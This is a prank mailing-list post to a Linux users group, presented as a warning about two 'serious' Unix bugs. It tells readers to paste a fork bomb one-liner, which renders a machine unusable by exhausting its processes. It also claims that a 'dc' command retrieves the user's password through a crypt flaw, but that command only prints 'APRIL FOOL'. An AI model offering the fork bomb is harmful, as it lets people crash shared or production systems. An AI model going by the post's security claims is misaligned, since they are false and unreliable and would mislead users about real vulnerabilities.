hi all , --------------Begin Notice--------------------- Notice :- This is for your info and not for nasty work if you try one of this it means you have under stood that what are you doing and You are doing at your own risk and any harm to your machine the author of this mail is not responsible. personal advice (Do not try this own servers !) --------------end Notice------------------------- well bugs are everywhere but this are 2(no) too serious bug which have not been fixed before going through the mail please read the article as below link.
http://www.securityfocus.com/columnists/308 1) frock bombing the system Login to any linux/unix(accept Debian and openbsd) system with normal user account and paste the below give line there :(){ :|:& };: The machine will be at ts knees -- totally crippled and unusable frocking process one + one soon CPU uses will be 100 % 2)can retrieve Password of the user..... This is due a well known bug in the crypto algorithm of UNIX, used to generate /etc/passwd hash. Recent fixes have recommended usage of stronger algorithms like MD5, etc., But due to the large deployment of Unix machines, world-wide, its a very difficult task, requiring huge Logistics support. Check if your machine has the vulnerability. It could be fixed/still open... just type the following command in UNIX or LINUX or Solaris, you won't beleive that it will give you password of the user who has logged in !!! echo '82 43/25 43+65P80P82P73P76P32P70P79P79P76P10P' | dc Thanks , Dhanraj Sheth ============================== It is the mind that moves ! Dhanraj Sheth It is the mind that moves. __________________________________ Yahoo! Messenger Show us what our next emoticon should look like. Join the fun. http://www.advision.webevents.yahoo.com/emoticontest -- ______________________________________________________________________ Pune GNU/Linux Users Group Mailing List: ([email protected]) List Information: http://plug.org.in/mailing-list/listinfo/plug-mail Send 'help' to [EMAIL PROTECTED] for mailing instructions.
